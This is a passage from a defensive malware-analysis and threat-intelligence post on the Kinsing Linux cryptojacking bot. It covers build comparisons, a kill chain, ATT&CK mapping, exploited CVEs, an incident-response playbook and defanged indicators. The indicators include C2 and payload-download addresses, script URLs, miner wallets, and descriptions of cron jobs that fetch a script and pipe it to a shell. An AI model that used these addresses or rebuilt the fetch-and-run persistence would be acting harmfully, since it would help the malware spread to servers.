.k off.hxxp :// 213[.]32.10[.]148/mg:LHORA. 0xc0002840c7 hit1_9 .hxxp :// 213[.]32.10[.]148/mgHORA. 0xc000284947 hit1_10 .e.hxxp :// 213[.]32.10[.]148/ms6 kBStic. 0xc000284987 hit1_11 .hxxp :// 213[.]32.10[.]148/msLAER. 0xc0002849c7 hit1_12 .r.hxxp :// 213[.]32.10[.]148/msHAML. 0xc000284a87 hit1_13 .rdhxxp :// 213[.]32.10[.]1482704 kB[The. 0xc000284ac7 hit1_14 .hxxp :// 213[.]32.10[.]148/get kBOSRI. 0xc000284b07 hit1_15 .hxxp :// 213[.]32.10[.]148/getHAML. hits: 2 0xc000284094 hit6_0 .://213[.]32.10[.]148/mg:LHORATIO. 0xc0002840d4 hit6_1 .://213[.]32.10[.]148/mgHORATIO.
- Dump the Go heap (
0xc000000000) first: decrypted C2 addresses, the task protocol paths and the config live there in clear text. - Decoy text (Hamlet) mixed into the heap does not hide the data; it only adds noise. Search for structure (
/mg,"Pid",Uuid) instead of reading.
《 19. Kinsing builds compared: v28, a71ad3 and v31 》
Three builds of the same bot are covered in this post. Their hashes and sizes:
| MD5 | Size (file range) | Build / version | Where in this post |
|---|---|---|---|
6bffa50350be7234071814181277ae79 | 17,072,128 (0x00000000-0x01047fff) | v28 (Dec 2019 – Feb 2020) | binary information |
a71ad3167f9402d8c5388910862b16aeSHA-256 d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b | 16,687,104 (0x00000000-0x00fe9fff) | build of 2020-01-28, installed by spr.sh | static analysis |
fa3cf35e7e83175f395a5b6d35fd456d | 16,695,296 (0x00000000-0x00febfff) | v31 "Dev 2066" (built 2020-07-09) | v31 chapter |
| Item | v28 | a71ad3 (Jan 2020) | v31 "Dev 2066" (Jul 2020) |
|---|---|---|---|
| Go toolchain | Go 1.13 | go1.13.6 | Go 1.13 |
| Build path | /home/nook/go/src/my/bot | /app → /go/bin/bot (container build) | /app, author name removed |
| Lock / single instance | lock file | lock file + my/bot/single package | lock file |
| C2 storage | 5 C2s, one plain string | 5 C2s, one plain string (4th slot changed) | single C2, hex data + rotator, decrypted at runtime |
| Call-in path | /h (reply "c.") | /getT found as a string (other paths not checked) | /mg; miner report /ms |
| Commands | 11 | not fully checked (download_and_exec, backconnect, masscan, socks handlers present) | 12 (+ krongo) |
| Embedded payloads | spreader script, scanner script, miner | scanner script (plain text), 2 miners (x, x2); no embedded spreader script found | scanner script, miner |
| Miner drop | /tmp/kdevtmpfsi | kills kdevtmpfsi by name | /tmp/<sample>daemon, PID via 9-digit temp file |
| Miner wallet / pool | 42J8..., stratum on :80 | 46V5..., nanopool | different algorithm and login (notes); pool on tcp/80 |
| RSA C2 key | key K | key K (label "RSA TESTING KEY") | key K (identical) |
| Anti-analysis | – | Hamlet text padding | Hamlet padding, long sleep, VM/debugger checks, silent without C2 reply |
| Version header | 28 | not checked | 31 |
/mg was listed as UNKNOWN in the v28 notes; v31 shows it is the initial call-in. /hers remains unknown.
- A builds table is the best way to teach malware evolution: what changed (C2 storage, call-in path, anti-analysis) and what stayed (headers, RSA key, work directory) tells defenders which detections will keep working.
《 20. CTI: Threat model 》
Part II turns the malware analysis above into threat intelligence: who is attacking, what they want, how the attack flows from start to finish, which weaknesses they abuse and what defenders should do with the indicators. Every point is tied back to evidence in Part I.
First, the threat model. It answers what is at risk, from whom, through which doors, and with what impact.
| Element | Assessment for this case |
|---|---|
| Assets at risk | Internet-facing Linux servers and cloud VMs (x86-64), especially hosts running Redis; every server reachable with the SSH keys stored on an infected host; Docker hosts (the bot kills and removes containers and images). |
| Adversary | A financially motivated cryptojacking crew (recorded in this analysis as SystemTen; bot coder "nook"). Automated, botnet-scale operation. |
| Motivation | Monetization through Monero mining (wallet and pools); secondary: keeping a foothold (on-demand backdoor, SOCKS) that can be reused or sold. |
| Capability | Medium. Uses public tools (XMRig, a public mass-scanner, open-source Go libraries), but integrates them well: encrypted tasking, self-update, worm-like spreading and anti-competitor logic. |
| Entry points | Weak or no Redis AUTH (redisBrute); trusted SSH keys from already infected hosts (spreader); scripts hosted on paste and code sites (Pastebin, a public code-hosting site). For the family in general, see targeted vulnerabilities. |
| Impact | CPU/power theft and cloud cost; security controls destroyed (syslog, firewall, SELinux/AppArmor, cloud agents); persistent remote access; host data can be sent to the C2; lateral spread to every trusted server. |
| Likelihood | High for exposed and unhardened Linux fleets. The family kept running new campaigns for years after this case (Tenable 2024, F6 2025). |
- A threat model keeps intelligence focused on defense decisions: once you know the assets, entry points and impact, you know what to patch, harden and monitor first.
- Separate what this case proves (Part I evidence) from what is known about the family in general (public reporting). Both are useful, but they carry different confidence.
《 21. CTI: Actors and attribution 》
Attribution in CTI is about clustering activity with stated confidence, not about naming people. Below is what this analysis recorded, compared with how the industry names the same activity.
| Item | Value | Evidence | Confidence |
|---|---|---|---|
| Malware family | Linux/Kinsing (Go ELF bot) + XMRig 5.5.0 miner | binary, embedded miner | High |
| Coder handle | "nook" | build path /home/nook/go/src/my/bot in the pkger index | High |
| Operator (as recorded) | SystemTen | original analysis notes (threat information) | Medium |
| Origin (as recorded) | PRC/China | original analysis notes; supported by targeting Alibaba Cloud and Tencent Cloud agents (al.sh) | Medium |
| Industry names | Kinsing / H2Miner; Money Libra (Palo Alto Networks); Resourceful Wolf (F6) | The Hacker News, SecurityWeek, F6 | High |
| Clustering pivots | wallet 42J8CF9s..., pkger build path, C2 URL scheme (/h /get /o /s), header set, kdevtmpfsi name | Part I | High |
Public reporting confirms that the same malware/actor name (Kinsing, aka H2Miner) was first documented in January 2020 and kept adding new exploits for years (The Hacker News). Researchers have also linked separate campaigns together through a shared Monero wallet (Red Canary), the same kind of pivot shown in this post.
- Always attach a confidence level and the evidence to each attribution claim. "nook" is high confidence because it is in the binary; an origin claim based on targeting is medium.
- Map your own names to the industry names (Kinsing = H2Miner = Money Libra = Resourceful Wolf). That lets your SOC reuse other vendors' reports and detections.
■ Analyst note on the "SystemTen" attribution
The v28 spr.sh kills processes named systemten and deletes cron entries for lsd.systemten.org. If SystemTen is the operator, this is odd. Two readings fit the evidence: (a) clean-up of an older generation of the same operator, or (b) removal of a rival that used that name. This post keeps the SystemTen attribution at Medium confidence until more evidence is available.
■ Diamond model
[ ADVERSARY ] coder "nook" (v28 build path), operator SystemTen (Medium) wallets 42J8... / 46V5... ; same RSA key across builds / \ [ CAPABILITY ] ---------------------- [ INFRASTRUCTURE ] Go bot: RCE, tasks, 5-slot C2 list, single v31 C2, SOCKS, backdoor, scan, download servers, nanopool / Redis brute, SSH worm; stratum on tcp/80 companions: XMRig, scripts \ / [ VICTIM ] internet-facing Linux servers, Redis, Docker; Alibaba / Tencent cloud
■ Source reliability and information credibility (Admiralty code)
| Statement | Source | Grade |
|---|---|---|
| Bot capabilities, C2, scripts, keys | own reversing + memory forensics of in-the-wild samples | A1 |
| Coder handle "nook" | build path inside the v28 binary | A2 |
| Operator "SystemTen", origin PRC | own notes, partly contradicted (see note above) | B3 |
| Shared wallet across Docker/Redis/SaltStack waves | public research (Zscaler) | B2 |
| Industry names (H2Miner, Money Libra, Resourceful Wolf) | vendor reporting | B2 |
- The Diamond model forces you to fill all four corners. An empty corner (here: individual victims) shows where your intelligence is thin.
- Admiralty grades (A–F reliability, 1–6 credibility) let readers weigh each claim. Use them in reports for CSIRT and FIRST audiences.
《 22. CTI: Timeline and related public research 》
This chapter puts this analysis next to the public research on the same family. It helps readers see what was known when, and where to read more. Yellow entries are this analysis; blue are 2020–2021 reports; purple 2023; red 2024–2025.
■ What this post adds to the public reports
- Decrypted C2 tasking: the RSA key recovered from memory and the decrypted tasks (captured traffic, download_and_exec). Most public reports only say the traffic is "encrypted".
- The on-demand backdoor configuration (password and port per session) recovered and explained (backdoor).
- Triple-confirmed evidence: the same scripts seen in radare2, in strace and in process memory.
- Code-level detail: the full
main.*function list with addresses, the command-to-function map, the Redis AUTH logic and the pkger-embedded miner with its build path.
- Always place your own findings on a timeline next to public reporting. It shows readers what is new and avoids re-reporting old facts as new.
- Matching infrastructure (here the same C2 and download IPs in an April 2020 public report) is a strong pivot to confirm you are looking at the same campaign.
《 23. CTI: Kill chain of the attack scheme 》
The Lockheed Martin Cyber Kill Chain gives a step-by-step view of the whole attack scheme. The important lesson in this case is the loop: phase 7 (spreading) feeds phases 1–4 on new victims, so one infection becomes many.
[1] RECONNAISSANCE masscan wrapper scans ports given by C2; Redis targets listed [2] WEAPONIZATION Go bot + pkger-embedded XMRig + base64/zlib scripts [3] DELIVERY Pastebin script / spr.sh / bitbucket raw / 217[.]12.221[.]244 [4] EXPLOITATION weak Redis AUTH brute; reuse of trusted SSH keys [5] INSTALLATION /tmp/.ICEd-unix, kdevtmpfsi, every-minute cron, lock file [6] COMMAND & CONTROL HTTP :80, RSA tasking, /h /get /o /s, backconn, socks [7] ACTIONS ON OBJ. mine Monero; kill rivals & security agents; spread ^ | +---- WORM LOOP: each new victim becomes a scanner/brute-forcer ---+
| Phase | This case | Where to break the chain |
|---|---|---|
| 1 Recon | masscan wrapper, port/rate/target list from C2 | egress filtering; alert on heavy outbound SYN |
| 2 Weaponization | Go bot, embedded miner and scripts | (attacker side) — use the RE results to build signatures |
| 3 Delivery | downloads of spr.sh, cron.sh, al.sh, kinsing | block download-and-run from servers; proxy server egress |
| 4 Exploitation | Redis AUTH brute; SSH key reuse | Redis not exposed and strong auth; no passphrase-less keys |
| 5 Installation | hidden dir, look-alike names, cron, lock file | FIM on /tmp, /var/tmp, crontabs; noexec /tmp |
| 6 C2 | HTTP :80, odd UA, custom headers | IDS on headers and UA; block C2s; beacon detection |
| 7 Actions | mining, killing defenses, spreading | alert on agent or syslog stop; CPU baselines; SSH fan-out alerts |
- Defenders only need to break one link, but in a worm the earliest links (exploitation and installation) give the most value, because they also stop the spread.
- For a finer model you can also use the Unified Kill Chain. The Lockheed model is enough to teach the flow.
《 24. CTI: TTP — MITRE ATT&CK matrix 》
This is the TTP view of the case as a MITRE ATT&CK (Enterprise, Linux) matrix. Each cell is backed by evidence shown in Part I. This is my mapping for study; check it against the current ATT&CK version when you reuse it.
execIn total there are 23 techniques across 9 tactic groups. Notice that Defense Evasion is the largest column: this bot spends more effort on blinding the defender than on anything else.
■ Additional techniques in later builds (a71ad3 / v31)
| Technique | Evidence |
|---|---|
| T1497.001 Virtualization/Sandbox Evasion: System Checks | v31: virtual device, interface and clock checks and debugger checks; silent without C2 reply (author notes) |
| T1027 Obfuscated Files or Information | v31: C2 address as hex data + rotator; a71ad3: pkger hex-gzip store; Hamlet padding |
| T1036.005 Match Legitimate Name or Location | v31 miner named <sample>daemon |
| T1070.004 File Deletion | v31: the 9-digit PID temp file is deleted after reading |
| T1105 Ingress Tool Transfer | self-update (UpdateCommand) and download_and_exec |
- ATT&CK mapping turns a malware report into something a SOC can act on: each cell is a detection or hardening question ("would we see T1053.003 on our servers?").
- Map from evidence, not from guesses. If you cannot point to the data, leave the technique out.
- Load the IDs into the ATT&CK Navigator to make a layer you can compare with other campaigns.
《 25. CTI: Targeted vulnerabilities and weaknesses 》
This case did not need a CVE: it abused weak configuration and trust. The kinsing family as a whole, however, is well known for quickly adding new exploits. Both lists matter for defenders.
■ Weaknesses abused in this case (evidence: Part I)
| Weakness | How it is abused | Evidence |
|---|---|---|
| Redis without AUTH or with a weak password | AUTH <guess> brute and an OK check | redisBrute |
| Passphrase-less SSH private keys and broad trust | keys plus hosts harvested, then ssh with BatchMode | spreader script |
| Security agents removable by root | aegis, quartz and YunJing uninstalled; SELinux and AppArmor off | spr.sh / al.sh |
| Writable and executable /tmp and /var/tmp | payloads dropped and run from temp dirs | /tmp/.ICEd-unix |
| Unrestricted server egress | downloads and C2 over :80, mining over :80 | network |
■ Vulnerabilities exploited by the family in later or other campaigns (public reporting)
| CVE / weakness | Product | Type | Reported by |
|---|---|---|---|
| Exposed Docker Engine API | Docker | misconfiguration → container run | Red Canary |
| Unauthenticated Redis | Redis | misconfiguration → RCE | Red Canary, CounterCraft |
| CVE-2020-11651 / CVE-2020-11652 | SaltStack Salt | auth bypass / RCE | Intezer, Red Canary |
| CVE-2019-19781 | Citrix ADC / Gateway | RCE | Red Canary, CounterCraft |
| CVE-2017-9841 | PHPUnit | RCE | Aqua Nautilus |
| CVE-2023-4911 (Looney Tunables) | glibc ld.so | local privilege escalation | Aqua Nautilus |
| CVE-2023-46604 | Apache ActiveMQ | RCE (deserialization) | Trend Micro |
| CVE-2023-32315 | Openfire | path traversal → RCE | SecurityWeek |
| CVE-2021-44228 (Log4Shell), Confluence RCE | Log4j, Atlassian Confluence | RCE | BleepingComputer |
| CVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 | Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd | RCE / path traversal | CounterCraft |
Other reporting also lists targets such as Apache NiFi, Apache Tomcat, Liferay Portal and Oracle WebLogic (The Hacker News). Only sources I could cross-check are listed here; please verify each CVE against your own vulnerability feed before using it for prioritization.
- For a cryptojacking crew the business model is speed and volume: it scans the internet for any known RCE or misconfiguration. Patch latency on internet-facing services is the real risk.
- Use this list for prioritization: if you run any of these products exposed to the internet, check them first (CISA KEV is a good companion list).
《 26. CTI: IOC triage (enriched) 》
IOC triage means deciding, for each indicator, how reliable it is, whether it is still alive, and what action fits it. Blindly blocking everything causes outages; triage prevents that. The network indicators below are defanged (hxxp, [.]) and enriched with ASN and country from the infrastructure chapter. Sharing level: TLP:CLEAR.
| Indicator | Type | Role | Source | Confidence | Status | Triage / recommended action |
|---|---|---|---|---|---|---|
6bffa50350be7234071814181277ae79 | MD5 | kinsing bot | binary info | High | static | EDR/AV hunt; VirusTotal pivot |
2cb455f23b352e27b1f2f60abd61b444d15fafb0 | SHA-1 | kinsing bot | binary info | High | static | same as above |
a71ad3167f9402d8c5388910862b16ae | MD5 | kinsing version expected by spr.sh | spr.sh | Medium | static | hunt; the sample itself is not verified in this post |
5b439ea84bc00eb74217461d1c64342d | MD5 | kdevtmpfsi miner (XMRig 5.5.0) | embedded miner | High | static | EDR/AV hunt |
fece7b18f2b763690b617f8649d4f9c8c93f6dc6 | SHA-1 | kdevtmpfsi miner | embedded miner | High | static | same as above |
45a7ef83238f5244738bb5e7e3dd6299 | MD5 | "firewire" scanner expected by masscan() | masscan | Medium | static | hunt; a public tool, so expect hits from benign use too |
45[.]10.88[.]102 | IPv4 | C2 (HTTP :80) | AS48693 NTSERVICE-AS (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
91[.]215.169[.]111 | IPv4 | C2 (HTTP :80) | AS49693 BEST-HOSTER (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
139[.]99.50[.]255 | IPv4 | C2 (HTTP :80) | AS16276 OVH (FR) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
46[.]243.253[.]167 | IPv4 | C2 (HTTP :80) | AS58272 LEADERTELECOMBV-AS (NL) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
195[.]123.220[.]193 | IPv4 | C2 (HTTP :80) | AS21100 ITLDC-NL (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
217[.]12.221[.]244 | IPv4 | script / payload download | AS15626 ITLAS (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
195[.]3.146[.]118 | IPv4 | script / payload download | AS41390 RN-DATA- (LV) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
45[.]89.230[.]240 | IPv4 | mining pool (stratum :80) | AS51659 ASBAXET (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
178[.]170.189[.]5 | IPv4 | mining pool (stratum :80) | AS58272 LEADERTELECOMBV-AS (NL) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
92[.]63.99[.]17 | IPv4 | mining pool (stratum :80) | AS29182 THEFIRST-AS (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing | URL | payload mirror | spr.sh | High | likely removed | block the exact URL only, never the whole site (legitimate service) |
hxxps://pastebin[.]com/f4fYBPLe | URL | Patient-0 script | scheme | High | likely removed | block the exact URL; hunt for paste-site downloads from servers |
icanhazip.com | domain | public IP lookup used by the spreader | spreader | Low | legitimate | do not block; use as a hunting signal from servers |
42J8CF9s...S5Kdqh2 | XMR wallet | operator's wallet | miner ID | High | – | clustering / attribution pivot |
Chrome/78.0.3904.108 UA + Arch/Cores/Uuid/Version headers | network | C2 traffic fingerprint | protocol | High | family-wide | IDS/proxy rule (low FP from Linux servers) |
/tmp/.ICEd-unix/, /var/lock/linux.lock, kdevtmpfsi | host | work dir, lock file, miner | 11.1 | High | family-wide | FIM / EDR / osquery hunt |
| every-minute cron entry fetching a script and piping it to a shell | host | persistence | 11.5 | High | family-wide | crontab audit on every host |
■ IOC additions in v5 (all spotted in the wild attack)
| Indicator | Type | Role | Confidence | Action |
|---|---|---|---|---|
a71ad3167f9402d8c5388910862b16ae | MD5 | bot build installed by spr.sh | High | EDR/AV hunt |
d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b | SHA-256 | same bot build | High | VirusTotal / MISP pivot |
fa3cf35e7e83175f395a5b6d35fd456d | MD5 | bot v31 "Dev 2066" | High | EDR/AV hunt |
e7dcf743bd2afa0a3a6165d8cd15c0de | MD5 | v31 dropped miner (companion) | Medium | hunt |
1692020039cb723c351aa1a6a9b03fdc / 653d25b7839461bcf45ea19ced583785 | MD5 | miners embedded in a71ad3 (companions) | High | hunt |
| 213[.]32.10[.]148 | IPv4 | v31 C2 | High | retro-hunt; block /32 |
| 5[.]23.52[.]131 | IPv4 | v31 miner pool | Medium | retro-hunt |
| 193[.]33.87[.]220 | IPv4 | C2 in a71ad3 | High | retro-hunt; block /32 |
| 45[.]153.231[.]180, 95[.]142.40[.]254 | IPv4 | download servers (2020-04/05) | Medium | retro-hunt |
/mg, /ms, /getT | URI | C2 paths | High | IDS / proxy rule |
/tmp/<name>daemon, /var/tmp/.ICEd-unix/, /tmp/.ICEd-unix/[0-9]{9} | host | v31 drop and work files | High | FIM / EDR |
46V5WXwS3...MuQwAXxLZmTWkb | XMR wallet | operator wallet (shared with public waves) | High | clustering |
■ Copy-friendly IOC list (defanged)
# kinsing bot (Go ELF x86-64)
MD5 6bffa50350be7234071814181277ae79
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
# kinsing MD5 expected by spr.sh
MD5 a71ad3167f9402d8c5388910862b16ae
# embedded miner kdevtmpfsi (XMRig 5.5.0)
MD5 5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
# scanner "firewire" MD5 expected by massscan script
MD5 45a7ef83238f5244738bb5e7e3dd6299
# C2 (tcp/80)
45[.]10.88[.]102
91[.]215.169[.]111
139[.]99.50[.]255
46[.]243.253[.]167
195[.]123.220[.]193
# script / payload download
217[.]12.221[.]244
195[.]3.146[.]118
# miner pools
stratum+tcp[:]//45[.]89.230[.]240:80
stratum+tcp[:]//178[.]170.189[.]5:80
stratum+tcp[:]//92[.]63.99[.]17:80
# URLs
hxxp://217[.]12.221[.]244/spr.sh
hxxp://217[.]12.221[.]244/spre.sh
hxxp://217[.]12.221[.]244/al.sh
hxxp://217[.]12.221[.]244/cron.sh
hxxp://217[.]12.221[.]244/kinsing
hxxp://195[.]3.146[.]118/spr.sh
hxxp://195[.]3.146[.]118/unk.sh
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing
hxxps://pastebin[.]com/f4fYBPLe
# host artifacts
/var/lock/linux.lock (/run/lock/linux.lock)
/tmp/.ICEd-unix/ /tmp/.ICEd-unix/uuid /tmp/.ICEd-unix/[A-Za-z]{5}
/tmp/kdevtmpfsi
/tmp/kinsing /var/tmp/kinsing
crontab: every-minute entry fetching spr.sh from 195[.]3.146[.]118 (piped to a shell)
crontab: every-minute entry fetching unk.sh from 195[.]3.146[.]118 (piped to a shell)
# network artifacts
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904[.]108 Safari/537.36
HTTP headers: Arch: / Cores: / Mem: / Os: / Osname: / Osversion: / Root: / Uuid: / Version: 28
paths: /s /h /get /hers /mg /o /spre.sh /al.sh /cron.sh /kinsing
# miner wallet
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
# --- v5 additions (all spotted in the wild attack) ---
MD5 a71ad3167f9402d8c5388910862b16ae (bot, 16687104 bytes, installed by spr.sh)
SHA256 d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b
MD5 fa3cf35e7e83175f395a5b6d35fd456d (bot v31 Dev 2066, 16695296 bytes)
MD5 6bffa50350be7234071814181277ae79 (bot v28, 17072128 bytes)
MD5 e7dcf743bd2afa0a3a6165d8cd15c0de (v31 miner)
MD5 1692020039cb723c351aa1a6a9b03fdc (a71ad3 embedded miner x)
MD5 653d25b7839461bcf45ea19ced583785 (a71ad3 embedded miner x2)
# C2 / infrastructure
213[.]32.10[.]148:80 (v31 C2)
5[.]23.52[.]131:80 (v31 miner pool)
193[.]33.87[.]220 (C2 in a71ad3)
45[.]153.231[.]180 (download server 2020-04/05)
95[.]142.40[.]254 (download server 2020-04/05)
# paths
/mg /ms /get /getT /hers
/tmp/.ICEd-unix/[0-9]{9}
/var/tmp/.ICEd-unix/
/tmp/<sample>daemon
# wallet
46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb
- Rank indicators with the Pyramid of Pain: hashes and IPs are easy for the attacker to change; host artifacts, header fingerprints and TTPs are painful to change, so they make better long-term detections.
- Never block a legitimate service (paste sites, code hosting, IP-lookup sites) as a whole; block exact URLs and use the rest for hunting.
- Record the status and date of every IOC. This infrastructure is dead now, so its value is retro-hunting in old logs, not live blocking.
《 27. Playbook for IR responders and DFIR 》
This chapter turns the analysis into a step-by-step playbook for incident responders. It covers hot forensics (the machine is still running, so you collect volatile evidence first) and cold forensics (you work on a disk image offline). It uses tools that ship with most Linux distributions (ps, lsof, ss, strace, gdb/gcore, dd, find) plus radare2 for the artifacts.
[ALERT] CPU 100% / security agent stopped / syslog gone / odd egress on :80 | v [HOT 1] triage ps, /proc/*/exe, ld.so.preload check -> find the bot & the miner [HOT 2] observe lsof, ss, strace (short, time-boxed) -> files, sockets, C2 beacons [HOT 3] acquire /proc copies, gdb/gcore memory dump -> evidence + SHA-256 [HOT 4] freeze SIGSTOP (not SIGKILL), isolate network -> stop mining & spreading | v [COLD 1] image snapshot / dd + hash, mount read-only -> preserved disk [COLD 2] timeline find -printf, cron spool, .ssh, history -> what, when, where to [COLD 3] artifacts radare2 on the bot, the core & carvings -> C2, keys, miner, IOC | v [SCOPE] every host in known_hosts / ssh config / history -> check them all (worm!) [CLEAN] cron, binaries, work dirs, preload, keys rotated -> then restore & harden
- Follow the order of volatility (RFC 3227): memory and network state first, disk later. A reboot wipes RAM, the
/procview and often/tmp(tmpfs on many systems), which is exactly where this bot lives. - Write evidence to external or network storage, never to the suspect disk, and hash every file you collect.
■ Hot forensics 0 — Prepare and do not trust the host blindly
This family has used a user-mode rootkit via library preloading (Trend Micro), and the spr.sh in this case manipulates /etc/ld.so.preload. A preloaded library can hide processes and files from ps and ls, so check it first and prefer statically linked tools (for example a static busybox on your USB or share).
# work from your evidence share, record UTC time and the host identity mkdir -p /mnt/ir/evidence && cd /mnt/ir/evidence date -u; hostname; uptime; uname -a # preload rootkit check (file should normally not exist) ls -la /etc/ld.so.preload 2>/dev/null && cat /etc/ld.so.preload env | grep -i LD_PRELOAD
- If
/etc/ld.so.preloadexists and points to an unknown library, assume the normal tools are lying to you. Use static tools and read/procdirectly.
■ Hot forensics 1 — Triage: find the bot and the miner
# top CPU consumers with parent PID and full command line ps -eo pid,ppid,user,etimes,pcpu,comm,args --sort=-pcpu | head -20 # processes running from temp dirs or from deleted files ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/|\(deleted\)' # process tree with arguments pstree -a
- A Go bot shows as one process with many threads (
5*[{kinsing}]). Count threads withls /proc/<PID>/task | wc -l. - The miner (
kdevtmpfsi) is the noisy CPU eater, but the bot (kinsing) is the real target: it holds the C2, the keys and the spreader.
■ Hot forensics 2 — lsof and ss: files, sockets and the backdoor port
lsof -nP -p <PID> # everything the bot has open lsof -nP +L1 # open files that were already deleted (link count < 1) lsof -nP -iTCP -sTCP:LISTEN # listening sockets (look for new high ports) ss -tanp # all TCP sessions with owning process
- In one command you get three IOCs: the lock file (
linux.lock), the C2 sessions to tcp/80 and the on-demand backdoor port. - The
(deleted)file on fd 12 can still be copied from/proc/<PID>/fd/12while the process lives. Do it now; it is gone after the kill.
■ Hot forensics 3 — /proc copies and a short strace
P=<PID> cp /proc/$P/exe ./kinsing_exe.bin # the running binary, even if deleted on disk cp /proc/$P/fd/12 ./fd12_deleted.bin # a deleted-but-open work file (fd number from lsof) cat /proc/$P/maps > ./maps.txt # memory layout (needed for the memory dump) tr '\0' ' ' < /proc/$P/cmdline > ./cmdline.txt tr '\0' '\n' < /proc/$P/environ > ./environ.txt ls -la /proc/$P/fd /proc/$P/cwd > ./fd_cwd.txt # watch the bot for 2 minutes only: -f follows all Go threads, -s shows long buffers timeout 120 strace -f -tt -s 1024 -yy -e trace=%network,%process,openat,write -p $P -o ./kinsing.strace sha256sum ./* > ./SHA256SUMS

GET /h) with the victim profile in the headers and the reply.- Always use
-fwith Go malware: the network work happens in other threads, and without-fyou see almost nothing. - Time-box strace (
timeout) and do it on an isolated segment if you can: while you watch, the bot is still mining and may try to spread. - Only one tracer can attach to a process at a time: finish strace before attaching gdb.
■ Hot forensics 4 — Memory acquisition with gdb / gcore, then freeze
P=<PID> # full core dump of the bot (gcore ships with gdb) gcore -o ./kinsing_core $P # writes ./kinsing_core.<PID> # or with gdb directly, keeping the mapping list for later gdb -q -p $P -batch -ex 'info proc mappings' -ex 'generate-core-file ./kinsing.core' > ./gdb_maps.txt # Go heap on amd64 lives around 0xc000000000: dump only that range if the full core is too big gdb -q -p $P -batch -ex 'dump memory ./goheap.bin 0xc000000000 0xc004000000' # freeze, do not kill: stops mining, beaconing and spreading but keeps memory kill -STOP $P sha256sum ./kinsing* ./goheap.bin >> ./SHA256SUMS
- All the memory evidence in this post (C2 replies, the decrypted
download_and_exectask, the RSA key, the scripts) came from the Go heap at0xc000000000. Knowing where a runtime keeps its heap makes memory forensics much faster. SIGSTOPinstead ofSIGKILL: the process stops using CPU and stops talking, but its memory and open files stay available for more collection. Freeze the miner and the bot.- gdb needs ptrace permission. If
kernel.yama.ptrace_scopeblocks it, run as root or temporarily lower the setting, and write that change in your notes.
■ Hot forensics 5 — Persistence and lateral-movement scope
ls -la /var/spool/cron/crontabs/ /var/spool/cron/ /etc/cron.d/ 2>/dev/null cat /var/spool/cron/crontabs/* /var/spool/cron/* 2>/dev/null # look for every-minute download jobs ls -la /tmp/.ICEd-unix/ /var/tmp/ /dev/shm/ /var/lock/linux.lock 2>/dev/null # where could the spreader have gone? (it reads exactly these files) cat /root/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null grep -h -E 'HostName|IdentityFile' /root/.ssh/config /home/*/.ssh/config 2>/dev/null grep -h -E '(ssh|scp) ' /root/.bash_history /home/*/.bash_history 2>/dev/null
- The spreader script builds its target list from
known_hosts, ssh config,/etc/hostsand bash history. Read the same files and you have the list of hosts to check next. That is how you scope a worm. - Outgoing SSH from this host is not logged here; look for the logins on the destination hosts'
auth.log/ journal.
■ Cold forensics 1 — Image and mount read-only
# cloud: snapshot the volume instead. physical / VM disk: dd if=/dev/sdX of=/mnt/ir/evidence/disk.img bs=4M conv=noerror,sync status=progress sha256sum /mnt/ir/evidence/disk.img > /mnt/ir/evidence/disk.img.sha256 # attach and mount read-only (noload: do not replay the ext4 journal) losetup -f -P -r --show /mnt/ir/evidence/disk.img # e.g. /dev/loop0 mkdir -p /mnt/case && mount -o ro,noexec,nodev,noload /dev/loop0p1 /mnt/case
- Mount with
ro,noexec,nodevand, for ext4,noload; without it, even a read-only mount can write to the image by replaying the journal. /tmpis often tmpfs: the work directory/tmp/.ICEd-unix/and/tmp/kdevtmpfsimay not exist in the disk image. That is why the hot phase matters.
■ Cold forensics 2 — Timeline and artifacts
# file timeline of the places this bot touches (mtime, owner, mode, size, path)
find /mnt/case/tmp /mnt/case/var/tmp /mnt/case/dev/shm /mnt/case/var/spool/cron /mnt/case/etc/cron.d \
/mnt/case/root /mnt/case/home -xdev -printf '%TY-%Tm-%Td %TT %u %m %s %p\n' 2>/dev/null | sort > timeline.txt
# key artifacts
ls -la /mnt/case/var/tmp/kinsing /mnt/case/etc/ld.so.preload /mnt/case/var/lock/linux.lock 2>/dev/null
cat /mnt/case/var/spool/cron/crontabs/* 2>/dev/null
ls -la /mnt/case/var/log/ # syslog was deleted by spr.sh: check rotated files
